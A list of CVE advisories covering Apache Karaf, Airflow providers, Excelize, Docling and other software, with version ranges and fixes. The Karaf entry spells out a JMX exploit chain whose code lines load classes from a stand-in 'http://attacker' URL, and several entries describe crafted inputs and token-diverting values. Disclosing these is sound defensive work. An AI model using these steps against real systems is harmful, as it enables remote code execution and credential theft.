| CVE |
Vendors |
Products |
Updated |
CVSS v3.1 |
| Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches).
This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels. |
| Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. `S3ToTeradataOperator` and `AzureBlobStorageToTeradataOperator` interpolate the source bucket's credentials as plain string literals into the `CREATE MULTISET TABLE ... LOCATION` statement whenever the bucket is private and no `teradata_authorization_name` is configured — which is the default credential path for both operators. The statement is then logged and executed, so the credentials reach two places outside the operator's control.
The two operators expose different credentials through different channels, and deployments should check both. `S3ToTeradataOperator` takes its values from `s3_hook.get_credentials()`, which under an instance profile or IRSA returns runtime AWS credentials that were never registered with Airflow's secrets masker — and the STS session token is runtime-generated and therefore unmasked even when an AWS connection is configured. Those credentials appear **in the Airflow task log**, readable by any user with log-view permission on the Dag. `AzureBlobStorageToTeradataOperator` takes its storage account key from the connection, so the masker usually redacts the task-log copy; its exposure is the Teradata side. **Both** operators write the credentials into Teradata's DBQL query logs and live monitoring views, where Airflow's masking never applies and the values persist for that system's log retention period.
Affects deployments using either operator against a private bucket or container without a Teradata `AUTHORIZATION` object. Users are advised to upgrade to `apache-airflow-providers-teradata` `3.7.0` or later, which keeps the credential-bearing statement out of the Airflow task log. Upgrading does not remove the credentials from Teradata's query logs and monitoring views, which Airflow cannot redact: users should configure `teradata_authorization_name` with a Teradata `AUTHORIZATION` object so that credentials are never inlined, and should rotate any credentials previously used through the inline path. |
| MultiversX's multisig-improved (repository: mx-multisig-and-modules) reference implementation of their on-chain multisig smart contract system contains a vulnerability where a missing independent authorization check allows any account with the Proposer role to perform explicitly barred actions. This vulnerability allows the Proposer role to move funds alone, draining 100% of a contract's EGLD/ESDT balance in two transactions with zero signatures. |
| Buffer overflow vulnerabilities exist in the affected interface of AOS-S. Successful exploitation could allow an authenticated remote attacker to cause a denial-of-service condition on the affected system. |
| A vulnerability in an API interface of ClearPass Policy Manager could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to obtain sensitive information from the affected system. |
| The Nickname profile can panic with an out-of-bounds slice error when transforming crafted input into a short destination buffer. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.0.0 to 2.11.0 in github.com/xuri/excelize/v2 and from 1.1.0 to 1.4.1 in github.com/xuri/excelize, ColumnNameToNumber accumulates a bijective base-26 value in int64 without detecting overflow, allowing an invalid long column name to wrap to zero with no error. ColumnNameToNumber accepts the overflowing name VGWQHXLSDVIKWV, after which checkSheetR0 and xlsxWorksheet.checkRow use the wrapped column value as an index. When a crafted worksheet uses an overflowing column name in a row normalized by checkSheetR0 or checkRow, the wrapped zero column becomes a negative slice index during worksheet normalization, allowing an attacker to panic and terminate the calling process. No fixed version is available as of this review. |
| Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.7.1 to 2.11.0, mergeCellsParser leaves the cached rectangle empty for an empty mergeCell ref and then passes that empty slice to cellInRange without a length check. GetCellValue reaches mergeCellsParser, which passes an empty rectangle derived from the mergeCell ref attribute into cellInRange. When a crafted worksheet contains an empty mergeCell ref and a non-streaming cell API reads the worksheet, cellInRange indexes four positions in an empty slice, allowing an attacker to panic on the first affected cell operation. No fixed version is available as of this review. |
| Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended clauses of the attacker's choosing to the query.
The names are frequently not written by the Dag author. In a wildcard `gcs_to_gdrive` transfer they come from the source bucket listing, so anyone able to create objects in that bucket controls them — typically an external data producer or an ingest-only service account, a different trust principal from the Dag author. An injected clause can broaden the match and so steer which file or folder the hook resolves: an upload can be directed into a folder the attacker named, and, because downloads select the most recently modified match, a download can return a file they placed rather than the one the Dag asked for.
Affects deployments passing externally-sourced names to the Google Drive hook, including wildcard `gcs_to_gdrive` transfers from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` `22.6.0` or later, which escapes quote and backslash characters in every value interpolated into a Drive query. |
| Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host.
The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL.
Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them. |
| The Apache Airflow Teradata provider's compute-cluster example Dag declared every one of its Dag Params as unconstrained free text and templated them straight into the compute-cluster operators, which interpolate those values into Teradata DDL. A user who is permitted to trigger that Dag - a lower-trust role than the Dag author, and one that needs no Teradata credentials of its own - could therefore supply SQL fragments that execute under the connection the task runs as, and could additionally redirect the task at any other connection defined in the deployment, because the connection id was itself a free-text Param. Only deployments that run this example Dag, or a Dag copied from it, are affected; the provider's operator code is unchanged. Users of apache-airflow-providers-teradata are recommended to upgrade to version 3.7.0 or later, whose example constrains the Params to validated identifiers and a closed value set and removes connection selection and free-form option strings from trigger-time input. Upgrading does not change a Dag already copied from the example; users who copied it should apply the same constraints to their copy. |
| Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.95.0 until 2.132.0, the HTML image resource loader in docling/backend/utils/image_resource_loader.py forwards headers configured through the HTMLBackendOptions.headers setting to every remote image URL named by an untrusted document when enable_remote_fetch=True and fetch_images=True. The loader does not restrict those credentials to the source document's origin, allowing requests that carry custom headers such as API keys and cookies to follow cross-origin redirects and expose the caller's configured credentials to a document author. The default configuration is not affected because remote fetching and configured headers are required. This issue is fixed in 2.132.0. |
| ** This candidate has been removed by an organization. |
| ** This candidate has been removed by an organization. |
| agent-zero 1.7, 1.8, 1.9, and 1.10 is vulnerable to Directory Traversal in python/helpers/file_browser.py:FileBrowser.save_file_b64. The save_file_b64 method accepts user-controlled file paths without normalization or validation, allowing path traversal attacks. |
| DB-GPT 0.8.0 contains directory traversal in skill_upload (packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/agentic_data_api.py:40). A remote attacker can use the validated exploitation path to write files outside the intended workspace or storage boundary. |
| Uninitialized resource in ANGLE in Google Chrome on on Windows prior to 155.0.8059.39 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High) |
| In NTFS-3G before 2026.7.7, a out-of-bounds read exists in ntfs_fix_file_name() in libntfs-3g/reparse.c that allows an attacker to read possibly confidential information in ntfs-3g process memory by crafting a malicious NTFS image. The out-of-bounds read is triggered by a readlink on a corrupted file. |
| Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.91.0 until 2.132.0, validate_url_safety in docling/backend/utils/image_resource_loader.py validates a hostname with a single IPv4 lookup and then allows the HTTP client to resolve and parse the original URL again, permitting DNS rebinding, mixed public and internal address records, and backslash authority parser disagreement to reach internal services. HTMLBackendOptions(render_page=True) also allows HTTP and HTTPS browser requests without validating their resolved destination. Exploitation requires remote fetching to be enabled, and response content is exposed only when it is decoded as an image or passively rendered in a page screenshot. This issue is fixed in 2.132.0. |
